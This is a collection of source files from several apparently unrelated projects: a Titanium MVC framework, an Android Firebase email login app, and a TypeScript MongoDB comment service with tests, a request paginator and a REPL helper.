var UI = require('/MVC/ui');
function About(AboutModel) {
var txtName = UI.Element('textField')
.attr({ borderStyle: Ti.UI.INPUT_BORDERSTYLE_ROUNDED,
color: '#336699',
top: '60dp',
value: this.ViewData['name'],
fontFamily: 'Helvetica',
fontStyle: {
fontSize: '11dp'
},
left: '10dp',
width: '300dp',
height: '40dp'}).get(),
txtEmail = UI.Element('textField')
.attr({ borderStyle: Ti.UI.INPUT_BORDERSTYLE_ROUNDED,
color: '#336699',
top: '10dp',
value: this.ViewData['email'],
fontFamily: 'Helvetica',
fontStyle: {
fontSize: '11dp'
},
left: '10dp',
width: '300dp',
height: '40dp'}).get();
UI.Element('window')
.attr({'title': 'hello','backgroundColor': '#eeeeee'})
.on('click', function(){
this.close({transition:Ti.UI.iPhone.AnimationStyle.FLIP_FROM_LEFT});
})
.append([txtName, txtEmail]).get().open({transition:Ti.UI.iPhone.AnimationStyle.FLIP_FROM_RIGHT});
}
module.exports = About;<file_sep>/MVC/utils.js
var UTILS = (function(){
var utils = {
_empty: function(obj) {
switch (utils._type(obj)) {
case "array":
return !obj.length;
break;
case "object":
return !Object.keys(obj).length;
break;
}
},
_format: function(string) {
if (arguments.length > 1) {
for (var i = 0; i < arguments.length; i++) {
string = string.replace(new RegExp('\\{' + i + '\\}'), arguments[i+1]);
}
return string;
} else { return string; }
},
_emptyString: function(string) {
return /^\s*$/.test(string);
},
_type: function() {
var _translate = function(o) {
return String.prototype.toLowerCase.apply(Object.prototype.toString.call(o).match(/\w*(?=])/));
}
if (arguments.length > 1) {
var r = [];
for (var i = 0; i < arguments.length; i++) {
r[i] = _translate(arguments[i]);
}
return r.join(':');
} else {
return _translate(arguments[0]);
}
},
_path: function(string) {
return Ti.Filesystem.resourcesDirectory.replace(/\//gi, Ti.Filesystem.getSeparator()) + string.replace(/\//gi, Ti.Filesystem.getSeparator());
}
};
return {
_type: utils._type,
_format: utils._format,
_empty: utils._empty,
_path: utils._path,
_emptyString: utils._emptyString,
}
})();
module.exports = UTILS;
<file_sep>/README.md
#Ti.MVC.NET is lightweight a MVC framework developed for Appcelerator Titanium which follows the ASP.NET MVC 2 pattern.
### How does it work?
It follows closely with the standard ASP.NET pattern. You have a view, a controller and a model.
####Below is a basic example of a simple hello world app. It will basically open a new window in your app with a Textbox in it - which will get its value out of controller's view data
#####The Controller:
```javascript
var MVC = require('mvc');
module.exports =
MVC.Controller('Home')
.setAction('Index', function() {
this.ViewData.header = 'Welcome!';
return this.View();
})
.create();
```
#####The View:
```javascript
var MVC = require('mvc'),
UI = require('UI');
function Index() {
var txtHello = UI.Element('textField')
.attr('value', this.ViewData.header)
.get();
UI.Element('window')
.append(txtHello)
.open();
}
```
####Have a look at the resources under the MVC folder for a complete example (which includes the Model class). That should be sufficient to get you up running with the framework.
<file_sep>/app.js
var MVC = require('MVC/mvc'),
UI = require('MVC/ui');
MVC.InvokeController('Home');<file_sep>/MVC/Models/UserModel.js
var MVC = require('/MVC/mvc');
module.exports =
MVC.Model('User')
.setProperty('Name', '', true, false, 'The field \'Name\' is required.')
.setProperty('Email', '', true, false, 'The field \'Email\' is required.')
.create();
|
5fa21a96b1a216654eecce5e3733875f36ee38b7
|
[
"JavaScript",
"Markdown"
] | 7 |
JavaScript
|
monostere0/Ti.MVC.NET
|
71d28d060017ee0256b31c0cb519152d57d0a6ae
|
5cfe48506473a2d85c3845e5df18044556bd0184
|
refs/heads/master
|
<repo_name>kraumar/bookex1<file_sep>/app/src/main/java/com/kraumar/bookex1/EmailLoginActivity.java
package com.kraumar.bookex1;
import androidx.annotation.NonNull;
import androidx.appcompat.app.AppCompatActivity;
import android.content.Intent;
import android.os.Bundle;
import android.util.Log;
import android.view.View;
import android.widget.Button;
import android.widget.EditText;
import android.widget.TextView;
import android.widget.Toast;
import com.google.android.gms.tasks.OnCompleteListener;
import com.google.android.gms.tasks.Task;
import com.google.firebase.auth.AuthResult;
import com.google.firebase.auth.FirebaseAuth;
import com.google.firebase.auth.FirebaseAuthInvalidCredentialsException;
import com.google.firebase.auth.FirebaseAuthInvalidUserException;
import com.google.firebase.auth.FirebaseUser;
public class EmailLoginActivity extends AppCompatActivity {
static final String TAG = "bookex";
EditText eMailAdress;
EditText pass;
Button button;
TextView register;
FirebaseAuth xFirebaseAuth;
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_email_login);
xFirebaseAuth = FirebaseAuth.getInstance();
eMailAdress = findViewById(R.id.emailLogin);
pass = findViewById(R.id.passwordLogin);
button = findViewById(R.id.loginBut);
register = findViewById(R.id.textLogin);
button.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View v) {
String emailString = eMailAdress.getText().toString();
String passString = pass.getText().toString();
if(emailString.isEmpty()){
eMailAdress.setError("Please insert an Email");
eMailAdress.requestFocus();
}
else if(passString.isEmpty()){
pass.setError("Please insert the Password");
pass.requestFocus();
}
else if(!(passString.isEmpty() && emailString.isEmpty())){
xFirebaseAuth.signInWithEmailAndPassword(emailString,passString).addOnCompleteListener(EmailLoginActivity.this, new OnCompleteListener<AuthResult>() {
@Override
public void onComplete(@NonNull Task<AuthResult> task) {
if(!task.isSuccessful()){
try {
throw task.getException();
}
// if user enters wrong email.
catch (FirebaseAuthInvalidUserException invalidEmail) {
Log.d(TAG, "invalid_email");
eMailAdress.setError("Invalid Email");
eMailAdress.requestFocus();
}
// if user enters wrong password.
catch (FirebaseAuthInvalidCredentialsException wrongPassword) {
Log.d(TAG, "wrong_password");
pass.setError("Wrong Password");
pass.requestFocus();
}
catch (Exception e) {
Log.d(TAG, e.getMessage());
}
}
else{
Intent intent = new Intent(EmailLoginActivity.this,MainActivity.class);
overridePendingTransition(0,0);
intent.addFlags(Intent.FLAG_ACTIVITY_NO_ANIMATION);
finish();
overridePendingTransition(0, 0);
startActivity(intent);
}
}
});
}
else{
Toast.makeText(EmailLoginActivity.this,"Error",Toast.LENGTH_SHORT);
}
}
});
register.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View v) {
Intent intent = new Intent(EmailLoginActivity.this,EmailRegisterActivity.class);
intent.addFlags(Intent.FLAG_ACTIVITY_NO_ANIMATION);
finish();
overridePendingTransition(0, 0);
startActivity(intent);
}
});
}
@Override
public void onBackPressed() {
Intent intent = new Intent(EmailLoginActivity.this,MainLoginActivity.class);
intent.addFlags(Intent.FLAG_ACTIVITY_NO_ANIMATION);
finish();
overridePendingTransition(0, 0);
startActivity(intent);
}
}
<file_sep>/app/src/main/java/com/kraumar/bookex1/MainActivity.java
package com.kraumar.bookex1;
import android.content.Intent;
import android.os.Bundle;
import android.view.View;
import android.widget.Button;
import androidx.appcompat.app.AppCompatActivity;
import com.google.firebase.auth.FirebaseAuth;
public class MainActivity extends AppCompatActivity {
Button logoutBut;
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
logoutBut = findViewById(R.id.logoutBut);
logoutBut.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View v) {
FirebaseAuth.getInstance().signOut();
Intent intent = new Intent(MainActivity.this,MainLoginActivity.class);
intent.addFlags(Intent.FLAG_ACTIVITY_NO_ANIMATION);
finish();
overridePendingTransition(0, 0);
startActivity(intent);
}
});
}
@Override
public void onBackPressed() {
super.onBackPressed();
Intent a = new Intent(Intent.ACTION_MAIN);
a.addCategory(Intent.CATEGORY_HOME);
a.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
startActivity(a);
}
}
|
9e64cf9026d8eb7ed47d337347ef0776887e8a06
|
[
"Java"
] | 2 |
Java
|
kraumar/bookex1
|
c6926d68dc6aa4d21ba7797159bc95d893b9d7e8
|
e2441df99d6a9e1c5050822be3f56ac344607737
|
refs/heads/master
|
<file_sep># -*- coding: utf-8 -*-
"""
Created on Tue Jan 28 13:37:10 2020
@author: <NAME>
""
# -*- coding: utf-8 -*-
"""
import pandas as pd
import csv
tokenized_word=[]
raw_data = pd.read_csv('dataset_labelled.csv')
#print(raw_data)
clas = raw_data["class"]
tweet = raw_data["tweet"]
hate=[]
offensive=[]
neutral=[]
for i in range(len(clas)):
if clas[i] == 0:
hate.append(tweet[i])
elif clas[i] == 1:
offensive.append(tweet[i])
else:
neutral.append(tweet[i])
df = pd.DataFrame(hate, columns=["tweet"])
df.to_csv('hate.csv', index=False)
df = pd.DataFrame(offensive, columns=["tweet"])
df.to_csv('offensive.csv', index=False)
df = pd.DataFrame(neutral, columns=["tweet"])
df.to_csv('neutral.csv', index=False)
<file_sep># -*- coding: utf-8 -*-
"""
Created on Sun Jan 26 21:16:06 2020
@author: <NAME>
"""
# -*- coding: utf-8 -*-
"""
Created on Wed Jan 22 11:34:58 2020
"""
import nltk
import csv
import numpy
from nltk import sent_tokenize, word_tokenize, pos_tag
from nltk.corpus import stopwords
import pickle
import simplejson
import pandas as pd
import string
import re
from nltk.stem import WordNetLemmatizer
from nltk.tokenize import word_tokenize
def write_file(filename,word):
with open(filename,'w') as f:
for item in word:
#f.write("%s\n" % item)
f.write(item)
f.close()
def write_file_list(filename,word_list):
f = open(filename,'w')
simplejson.dump(word_list, f)
f.close()
#opening csv file and storing data into variable data
raw_data = pd.read_csv('dataset_labelled.csv')
tokenized_word=[]
data1 = raw_data['tweet'] #only taking data from column tweet
string1 = ' '.join(map(str, data1)) #conversion of list/series type to string
lower_data = string1.lower()
no_remove = re.sub(r'\d+', '', lower_data)
#write_file("no_remove.txt",no_remove)
pattern = re.compile('http[s]?://(?:[a-zA-Z]|[0-9]|[$-_@.&+]|[!*\(\),]|(?:%[0-9a-fA-F][0-9a-fA-F]))+')
url_remove = pattern.sub('', no_remove)
special_remove = (url_remove.translate({ord(i): None for i in '#$%@!^&*()'}))
#write_file("umh_remove.txt",special_remove)
translator = str.maketrans('', '', string.punctuation)
punct_remove = no_remove.translate(translator)
#write_file("punct_remove.txt",punct_remove)
with open('punct_remove.txt','r') as f5:
for line in f5:
for word in line.split(): #tokeninzing while reading from txt file
tokenized_word.append(word) #appending each word into list
f5.close()
prefixes = ('http')
for word in tokenized_word[:]:
#if word.startswith(prefixes):
if prefixes in word:
tokenized_word.remove(word)
#write_file_list("token_data.txt",tokenized_word)
#unpickling code
'''with open ('outfile', 'rb') as fp:
itemlist = pickle.load(fp)'''
stop_words = set(stopwords.words('english'))
filtered_sentence = []
for w in tokenized_word:
if w not in stop_words:
filtered_sentence.append(w)
lemmatizer=WordNetLemmatizer()
lemm_words = []
for word in filtered_sentence:
lemm_words.append(lemmatizer.lemmatize(word))
#write_file_list("lemmatized_words.txt",lemm_words)
<file_sep># -*- coding: utf-8 -*-
"""
Created on Thu Jan 30 10:18:38 2020
@author: <NAME>
"""
# -*- coding: utf-8 -*-
import nltk
import csv
import numpy
from nltk import sent_tokenize, word_tokenize, pos_tag
from nltk.corpus import stopwords
import pickle
import simplejson
import pandas as pd
import string
import re
from nltk.stem import WordNetLemmatizer
from nltk.tokenize import word_tokenize
from gensim.test.utils import common_texts, get_tmpfile
from gensim.models import Word2Vec
def write_file(filename,word):
with open(filename,'w') as f:
for item in word:
string5 = ''
string5 = ' '.join(map(str, item))
#f.write("%s\n" % item)
f.write(string5+"\n")
f.close()
def write_file_list(filename,word_list):
f = open(filename,'w')
simplejson.dump(word_list, f)
f.close()
def remove_punct(string):
# punctuation marks
punctuations = '''!()-[]{};:'"\,<>/?@#$%^&*_~'''
# traverse the given string and if any punctuation
# marks occur replace it with null
for x in string:
if x in punctuations:
string = string.replace(x, "")
# Print string without punctuation
return string
def remove_stopwords(lis):
file_sw = open("sw.txt",'r')
stop_words_str = ''
stop_words_str = file_sw.read()
stop_words = []
stop_words = list(stop_words_str.split(" "))
#print(stop_words_str)
filtered_sentence = []
for word in lis:
if word not in stop_words:
filtered_sentence.append(word)
#filtered_sentence.append([word for word in sentences if word not in stop_words])
return filtered_sentence
def start_fun(filename):
#opening csv file and storing data into variable data
raw_data = pd.read_csv(filename)
tokenized_word = []
data1 = raw_data['tweet'] #only taking data from column tweet
string1 = ' '.join(map(str, data1)) #conversion of list/series type to string
clean_data = []
for row in (data1[:]): #this is Df_pd for Df_np (text[:])
#new_text = re.sub(r'^https?:\/\/.*[\r\n]*', '', row, flags=re.MULTILINE)
#new_text = re.sub('http://','',row)
new_text = re.sub('<.*?>', '', row) # remove HTML tags
new_text = remove_punct(new_text) # remove punc.
new_text = re.sub(r'\d+','',new_text)# remove numbers
new_text = new_text.lower() # lower case, .upper() for upper
if new_text != '':
clean_data.append(new_text)
#print(clean_data)
string2 = ' '.join(map(str, clean_data))
list_sent=[]
#sentences = sent_tokenize(string2)
'''new_filename3 = filename[:-4] + "_sent_tokenizer_output.txt"
write_file_list(new_filename3,sentences)
'''
list_sent = [word.replace(".", "") for word in clean_data]
word_tokens = []
word_tokens_nested = []
for x in list_sent:
string3 = ''
string3 = ' '.join(map(str, x))
word_tokens.append(nltk.tokenize.word_tokenize(x))
#print(nested_list)
lemmatizer = WordNetLemmatizer()
lemm_words = []
for word in word_tokens:
for element in word:
lemm_words.append(lemmatizer.lemmatize(element))
word_tokens_nested.append(lemm_words)
final_list = []
final_list = remove_stopwords(word_tokens_nested)
new_filename1 = filename[:-4] + "_model.model"
path = get_tmpfile(new_filename1)
model = Word2Vec(final_list, size=100, window=5, min_count=1, workers=4)
model.save(new_filename1)
model = Word2Vec.load(new_filename1)
model.train(final_list, total_examples=1, epochs=1)
new_filename2 = filename[:-4] + "_savefile.txt"
model.wv.save_word2vec_format(new_filename2,binary = False)
#glove
#start_fun("hate.csv")
start_fun("offensive.csv")
#start_fun("neutral.csv")
<file_sep>
import json as simplejson
from collections import Counter
import os
os.chdir('/Users/ishammohamed/PycharmProjects/sidhu/Project Codes/offensive_ngram/bigrams')
print("os set")
file_list = os.listdir('/Users/ishammohamed/PycharmProjects/sidhu/Project Codes/offensive_ngram/bigrams')
#print(file_list)
#file_list.sort()
lineList = []
dup={}
dup_fname={}
c=len(file_list)
c0=1#file no.
for filename in file_list:
f = open(filename,'r')
print(c0,"/",c,"===",filename)
c0+=1
flag=0
flag_for_line={}
for line_text in f:
line_text=line_text.rstrip()
#print(line_text)
lineList.append(line_text)
if line_text in dup.keys():
dup[line_text]+=1
else:
dup[line_text]=1
if line_text not in flag_for_line:
flag_for_line[line_text]=0
if flag_for_line[line_text]==0:
flag_for_line[line_text]+=1
if line_text in dup_fname.keys():
dup_fname[line_text]+=1
else:
dup_fname[line_text]=1
f.close()
#print(lineList)
'''
print("!!!!...................word count...........!!!!")
for key in dup.keys():
if dup[key]>1:
print(key,"=",dup[key])
print("!!!!...................file count............!!!!")
for key in dup_fname.keys():
if dup_fname[key]>1:
print(key,"=",dup_fname[key])
'''
print("!!!!..........Program ended..........!!!!")
"""
l=[]
for item in dup.keys():
l.append([item,dup[item],dup_fname[item]])
"""
import csv
# field names
fields = ['Bigram', 'word count', 'file count']
# name of csv file
filename = "table.csv"
# writing to csv file
with open('/Users/ishammohamed/PycharmProjects/sidhu//Project Codes/offensive_ngram/output/'+filename, 'w') as csvfile:
# creating a csv writer object
csvwriter = csv.writer(csvfile)
# writing the fields
csvwriter.writerow(fields)
# writing the data rows
for item in dup.keys():
csvwriter.writerow([item,dup[item],dup_fname[item]])
|
cb8867808a7ca3abc6ce42739ffbb2e9518110c6
|
[
"Python"
] | 4 |
Python
|
isham-mohamed/sidhu
|
8f3084ce3eadb76debab5b6d669c67f292bacb45
|
9696e6a48c24649cf70179bded25b3f6e721bb23
|
refs/heads/master
|
<repo_name>PyroTechniac/Evlyn<file_sep>/src/ipcMonitors/statistics.ts
import { ClientStatistics } from '../lib/EvlynClient';
import { IPCMonitor } from '../lib/structures/IPCMonitor';
export default class extends IPCMonitor {
public run(): Record<string, ClientStatistics[][]> {
return this.client.statistics;
}
}
<file_sep>/src/lib/util/constants.ts
/**
* The presence types
*/
export enum PresenceType {
/**
* The Online status
*/
Online = 'online',
/**
* The Offline status
*/
Offline = 'offline',
/**
* The Idle status
*/
Idle = 'idle',
/**
* The Do Not Disturb status
*/
DoNotDisturb = 'dnd'
}
export const PRESENCE_STATUS = [
PresenceType.Online,
PresenceType.Offline,
PresenceType.Idle,
PresenceType.DoNotDisturb
];
<file_sep>/src/Evlyn.ts
import { inspect } from 'util';
import { CLIENT_OPTIONS, TOKEN, EVLYN_PORT } from '../config';
import { EvlynClient } from './lib/EvlynClient';
inspect.defaultOptions.depth = 1;
EvlynClient.defaultClientSchema.add('notificationChannel', 'TextChannel');
const client = new EvlynClient(CLIENT_OPTIONS);
client.login(TOKEN)
.catch(error => { client.console.error(error); });
if (!CLIENT_OPTIONS.dev) {
client.ipc.listen(EVLYN_PORT)
.catch(error => { client.console.error(error); });
}
<file_sep>/src/ipcMonitors/socketStatistics.ts
import { ClientStatistics } from '../lib/EvlynClient';
import { IPCMonitor } from '../lib/structures/IPCMonitor';
import { PresenceType } from '../lib/util/constants';
export default class extends IPCMonitor {
public async run(): Promise<StatisticsResults> {
const memoryUsage = process.memoryUsage();
return {
name: 'evlyn',
presence: null,
statistics: this.client.ws.shards.map(shard => ({
heapTotal: memoryUsage.heapTotal,
heapUsed: memoryUsage.heapUsed,
ping: shard.pings,
status: shard.status
}))
};
}
}
/**
* The return from the broadcast
*/
export interface StatisticsResults {
name: string;
presence: PresenceType | null;
statistics: Pick<ClientStatistics, 'status' | 'heapTotal' | 'heapUsed' | 'ping'>[];
}
<file_sep>/src/lib/EvlynClient.ts
import { Colors, util, KlasaClientOptions } from 'klasa';
import { DashboardClient } from 'klasa-dashboard-hooks';
import { Server as VezaServer } from 'veza';
import { IPCMonitorStore } from './structures/IPCMonitorStore';
import { PresenceType } from './util/constants';
import { createArray } from './util/util';
const g = new Colors({ text: 'green' }).format('[IPC ]');
const y = new Colors({ text: 'yellow' }).format('[IPC ]');
const r = new Colors({ text: 'red' }).format('[IPC ]');
export class EvlynClient extends DashboardClient {
public ipcMonitors = new IPCMonitorStore(this);
public statistics = {
aelia: createArray<ClientStatistics[]>(60, () => []),
alestra: createArray<ClientStatistics[]>(60, () => []),
evlyn: createArray<ClientStatistics[]>(60, () => []),
skyra: createArray<ClientStatistics[]>(60, () => [])
};
public ipc = new VezaServer('evlyn-master')
.on('disconnect', client => { this.console.log(`${y} Disconnected: ${client.name}`); })
.on('open', () => { this.console.log(`${g} Ready ${this.ipc.name}`); })
.on('error', (error, client) => { this.console.error(`${r} Error from ${client ? client.name : 'Unknown'}`, error); })
.on('message', this.ipcMonitors.run.bind(this.ipcMonitors));
public constructor(options: KlasaClientOptions) {
super(util.mergeDefault({ dev: false }, options));
this.registerStore(this.ipcMonitors);
}
}
declare module 'discord.js' {
interface ClientOptions {
dev?: boolean;
}
}
declare module 'klasa' {
interface Client {
ipcMonitors: IPCMonitorStore;
statistics: {
aelia: ClientStatistics[][];
alestra: ClientStatistics[][];
evlyn: ClientStatistics[][];
skyra: ClientStatistics[][];
};
ipc: VezaServer;
}
interface PieceDefaults {
ipcMonitors?: PieceOptions;
}
}
EvlynClient.defaultPermissionLevels.add(0, ({ client, author }) => author ? client.owners.has(author) : false, { 'break': true });
/**
* The client statistics for each shard
*/
export interface ClientStatistics {
presence: PresenceType;
status: WebsocketStatus;
heapUsed: number;
heapTotal: number;
ping: number[];
}
/**
* The websocket status
*/
export enum WebsocketStatus {
/**
* The websocket is active
*/
Ready,
/**
* The websocket is connecting
*/
Connecting,
/**
* The websocket is reconnecting
*/
Reconnecting,
/**
* The websocket is idle
*/
Idle,
/**
* The websocket is nearly ready, fetching last data
*/
Nearly,
/**
* The websocket is disconnected
*/
Disconnected
}
<file_sep>/src/routes/status/client.ts
import { ServerResponse } from 'http';
import { KlasaIncomingMessage, Route, RouteStore } from 'klasa-dashboard-hooks';
const error = JSON.stringify({ success: false, data: 'UNKNOWN_CLIENT' });
export default class extends Route {
public constructor(store: RouteStore, file: string[], directory: string) {
super(store, file, directory, { route: 'status/:client' });
}
public async get(request: KlasaIncomingMessage, response: ServerResponse): Promise<void> {
if (request.params.client in this.client.statistics) {
response.end(JSON.stringify({ success: true, data: this.client.statistics[request.params.client] }));
} else {
response.end(error);
}
}
}
<file_sep>/src/lib/util/util.ts
export function removeFirstAndAdd<T>(array: Array<T>, value: T): Array<T> {
let i = 0;
while (i < array.length) {
array[i] = array[++i];
}
array[i - 1] = value;
return array;
}
export function createArray<T>(length: number, fill: (index: number, array: T[]) => T): T[] {
const output: T[] = [];
for (let i = 0; i < length; i++) output.push(fill(i, output));
return output;
}
<file_sep>/src/routes/main.ts
import { ServerResponse } from 'http';
import { KlasaIncomingMessage, Route, RouteStore } from 'klasa-dashboard-hooks';
const reply = JSON.stringify({ success: true, data: 'Hello World' });
export default class extends Route {
public constructor(store: RouteStore, file: string[], directory: string) {
super(store, file, directory, { route: '/' });
}
public async get(_: KlasaIncomingMessage, response: ServerResponse): Promise<void> {
response.end(reply);
}
}
<file_sep>/src/tasks/statistics.ts
import { Task } from 'klasa';
import { StatisticsResults } from '../ipcMonitors/socketStatistics';
import { PresenceType } from '../lib/util/constants';
import { removeFirstAndAdd } from '../lib/util/util';
export default class extends Task {
private readonly _ids = {
aelia: '338249781594030090',
alestra: '419828209966776330',
evlyn: '444081201297227776',
skyra: '266624760782258186'
};
private _interval: NodeJS.Timer | null = this.create();
public async run(): Promise<void> {
const [broadcastSuccess, data] = await this.client.ipc.broadcast(['socketStatistics']) as [0 | 1, [0 | 1, StatisticsResults][]];
if (!broadcastSuccess) return;
for (const [success, entry] of data) {
if (!success) continue;
if (entry.name in this.client.statistics) {
if (!entry.name) continue;
const user = this.client.users.get(this._ids[entry.name]);
if (user) entry.presence = this.parseStatus(user.presence.status);
// Remove first element and add to the statistics table
removeFirstAndAdd(this.client.statistics[entry.name], entry);
}
}
}
public async init(): Promise<void> {
if (this.client.options.dev) this.disable();
}
public enable(): this {
if (!this._interval) this._interval = this.create();
return super.enable();
}
public disable(): this {
if (this._interval) {
this.client.clearInterval(this._interval);
this._interval = null;
}
return super.disable();
}
private create(): NodeJS.Timer {
return this.client.setInterval(() => {
this.run()
.catch(error => { this.client.emit('wtf', error); });
}, 1000 * 60 * 5);
}
private parseStatus(status: 'online' | 'offline' | 'idle' | 'dnd'): PresenceType | null {
switch (status) {
case 'online': return PresenceType.Online;
case 'offline': return PresenceType.Offline;
case 'idle': return PresenceType.Idle;
case 'dnd': return PresenceType.DoNotDisturb;
default: return null;
}
}
}
|
6884bdc4d80ccf42781280faaf75a9fd24d35dc8
|
[
"TypeScript"
] | 9 |
TypeScript
|
PyroTechniac/Evlyn
|
2d6d7c8a0d46fbbadb901c3dded66b92f54e9d27
|
24011063ba54f653ebd13745a320fafd4eb9b05c
|
refs/heads/master
|
<file_sep>import { Comment } from '@/comment/domain/Comment';
import { CommentId } from '@/comment/domain/CommentId';
import { CommentRepository } from '@/comment/domain/CommentRepository';
import { CommentCollection } from '@/comment/infrastructure/CommentCollection';
import { CommentIdProvider } from '@/comment/infrastructure/CommentIdProvider';
import { CommentMapper } from '@/comment/infrastructure/CommentMapper';
import { NotFoundError } from '@/_lib/errors/NotFoundError';
import { ArticleIdProvider } from '@/_sharedKernel/infrastructure/ArticleIdProvider';
import { from, v4 } from 'uuid-mongodb';
type Dependencies = {
commentCollection: CommentCollection;
};
const makeMongoCommentRepository = ({ commentCollection }: Dependencies): CommentRepository => ({
async getNextId(): Promise<CommentId> {
return Promise.resolve(CommentIdProvider.create(v4().toString()));
},
async findById(id: string): Promise<Comment.Type> {
const comment = await commentCollection.findOne({ _id: from(id), deleted: false });
if (!comment) {
throw NotFoundError.create('Comment not found');
}
return CommentMapper.toEntity(comment);
},
async store(entity: Comment.Type): Promise<void> {
CommentIdProvider.validate(entity.id);
ArticleIdProvider.validate(entity.articleId);
const { _id, version, ...data } = CommentMapper.toData(entity);
const count = await commentCollection.countDocuments({ _id });
if (count) {
await commentCollection.updateOne(
{ _id, version, deleted: false },
{
$set: {
...data,
updatedAt: new Date(),
version: version + 1,
},
}
);
return;
}
await commentCollection.insertOne({
_id,
...data,
version,
});
},
});
export { makeMongoCommentRepository };
<file_sep>import { CreateComment } from '@/comment/application/useCases/CreateComment';
import { makeValidator } from '@/_lib/http/validation/Validator';
import { handler } from '@/_lib/http/handler';
import Joi from 'types-joi';
type Dependencies = {
createComment: CreateComment;
};
const { getBody, getParams } = makeValidator({
params: Joi.object({
articleId: Joi.string().required(),
}).required(),
body: Joi.object({
body: Joi.string().required(),
}).required(),
});
const createCommentHandler = handler(({ createComment }: Dependencies) => async (req, res) => {
const { body } = getBody(req);
const { articleId } = getParams(req);
const id = await createComment({ body, articleId });
res.json({ id });
});
export { createCommentHandler };
<file_sep>import { randomBytes } from 'crypto';
import { makeTestControls, TestControls } from '@/__tests__/TestControls';
describe('ArticleController', () => {
let controls: TestControls;
beforeAll(async () => {
controls = await makeTestControls();
});
beforeEach(async () => {
const { clearDatabase } = controls;
await clearDatabase();
});
afterAll(async () => {
const { cleanUp } = controls;
await cleanUp();
});
describe('POST /api/articles', () => {
it('should create a new Article', async () => {
const {
request,
registry: { articleRepository },
} = controls;
const title = randomBytes(20).toString('hex');
const content = 'New Article content';
return request()
.post('/api/articles')
.send({
title,
content,
})
.expect(async (res) => {
expect(res.status).toBe(201);
expect(res.body).toHaveProperty('id');
const article = await articleRepository.findById(res.body.id);
expect(article).toEqual(
expect.objectContaining({
title,
content,
})
);
});
});
it('should fail with 422 when no title is present', async () => {
const { request } = controls;
return request()
.post('/api/articles')
.send({
content: 'New Article content',
})
.expect((res) => {
expect(res.status).toBe(422);
});
});
it('should fail with 422 when no content is present', async () => {
const { request } = controls;
return request()
.post('/api/articles')
.send({
title: randomBytes(20).toString('hex'),
})
.expect((res) => {
expect(res.status).toBe(422);
});
});
});
});
<file_sep>import { Request } from 'express';
import Joi, { InterfaceFrom } from 'types-joi';
import { ValidationError } from '@/_lib/errors/ValidationError';
import { BadRequestError } from '@/_lib/errors/BadRequestError';
type FieldConfig = {
name: string;
from: 'query' | 'params' | 'body';
};
type PaginatorOptions<T extends Record<string, any>> = {
useDefaults?: boolean;
fields?: {
page?: string | FieldConfig;
pageSize?: string | FieldConfig;
sort?: string | FieldConfig;
filter: string | FieldConfig;
};
defaults?: {
pageSize?: number;
page?: number;
filter?: T['filter'] extends Joi.BaseSchema<any> ? NonNullable<InterfaceFrom<NonNullable<T['filter']>>> : any;
sort?: {
field: string;
direction: 'asc' | 'desc';
}[];
};
filter?: Joi.BaseSchema<any> | null;
};
type Paginator<T extends PaginatorOptions<Record<string, any>>> = {
getPagination: (req: Request) => { page: number; pageSize: number };
getFilter: (
req: Request
) => T['filter'] extends Joi.BaseSchema<any> ? NonNullable<InterfaceFrom<NonNullable<T['filter']>>> : any;
getSorter: (req: Request) => { field: string; direction: 'asc' | 'desc' }[];
};
const defaultOptions = {
useDefaults: true,
fields: {
page: 'page',
pageSize: 'limit',
sort: 'sort',
filter: 'filter',
},
defaults: {
page: 1,
pageSize: 10,
sort: [],
filter: {},
},
filter: null,
};
const makePaginator = <T extends PaginatorOptions<any>>(opts: Partial<T> = {}): Paginator<typeof opts> => {
const { useDefaults, defaults, fields, filter } = {
...defaultOptions,
...opts,
fields: {
...defaultOptions.fields,
...opts.fields,
},
defaults: {
...defaultOptions.defaults,
...opts.defaults,
},
};
const getField = (field: string | FieldConfig): FieldConfig =>
typeof field === 'string' ? { name: field, from: 'query' } : field;
const fromRequest = (req: Request, field: FieldConfig) => req[field.from][field.name];
const getPagination = (req: Request): { page: number; pageSize: number } => {
const pageField = getField(fields.page);
const pageSizeField = getField(fields.pageSize);
const pageValue = Number(fromRequest(req, pageField));
const pageSizeValue = Number(fromRequest(req, pageSizeField));
if (!useDefaults && (isNaN(pageValue) || isNaN(pageSizeValue))) {
throw BadRequestError.create(
`Missing '${pageField.from}.${pageField.name}' or '${pageSizeField.from}.${pageSizeField.name}' values`
);
}
return {
page: isNaN(pageValue) ? defaults.page : pageValue,
pageSize: isNaN(pageSizeValue) ? defaults.pageSize : pageSizeValue,
};
};
const getSorter = (req: Request): { field: string; direction: 'asc' | 'desc' }[] => {
const sortField = getField(fields.sort);
const sortValues = fromRequest(req, sortField);
if (!useDefaults && sortValues === undefined) {
throw BadRequestError.create(`Missing '${sortField.from}.${sortField.name}' value`);
}
const sortList: string[] = Array.isArray(sortValues) ? sortValues : sortValues ? [sortValues] : [];
return sortList.length
? sortList.map((sort) => ({
field: sort.startsWith('-') ? sort.substr(1) : sort,
direction: sort.startsWith('-') ? 'desc' : 'asc',
}))
: defaults.sort;
};
const getFilter = (
req: Request
): T['filter'] extends Joi.BaseSchema<any> ? NonNullable<InterfaceFrom<NonNullable<T['filter']>>> : any => {
const filterField = getField(fields.filter);
const filterValue = fromRequest(req, filterField);
if (!filter) {
if (!useDefaults && filterValue === undefined) {
throw BadRequestError.create(`Missing '${filterField.from}.${filterField.name}' value`);
}
return filterValue ?? defaults.filter;
}
const { error } = Joi.object({ filter: filter as unknown as Joi.AnySchema<any> })
.options({ allowUnknown: true })
.validate(req[filterField.from]);
if (error) {
throw ValidationError.create({ target: filterField.name, error });
}
return filterValue ?? defaults.filter;
};
return {
getFilter,
getPagination,
getSorter,
};
};
export { makePaginator };
<file_sep>import REPL, { REPLEval, ReplOptions, REPLServer } from 'repl';
import vm from 'vm';
import { createServer, Server, Socket } from 'net';
type REPLProps = {
context: Record<string, any>;
prompt: string;
cli: boolean;
remote: false | { port: number };
logger: Pick<Console, 'error'>;
};
type REPLInstance = {
create: (config: Partial<ReplOptions>) => REPLServer;
start: ({ terminate }) => Promise<void>;
close: () => Promise<void>;
};
const isPromise = (value) => value && typeof value.then === 'function' && typeof value.catch === 'function';
